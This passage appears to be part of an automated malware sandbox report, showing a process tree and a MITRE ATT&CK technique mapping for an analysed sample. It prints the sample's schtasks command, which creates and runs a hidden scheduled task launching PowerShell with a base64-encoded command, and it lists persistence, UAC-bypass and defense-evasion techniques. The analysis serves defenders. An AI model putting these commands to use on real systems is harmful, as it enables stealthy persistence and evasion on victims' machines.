schtasks /CREATE /TN "giczgFUdC" /SC once /ST 02:05:49 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:1180

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "giczgFUdC"
2⤵
PID:1084

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:672

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery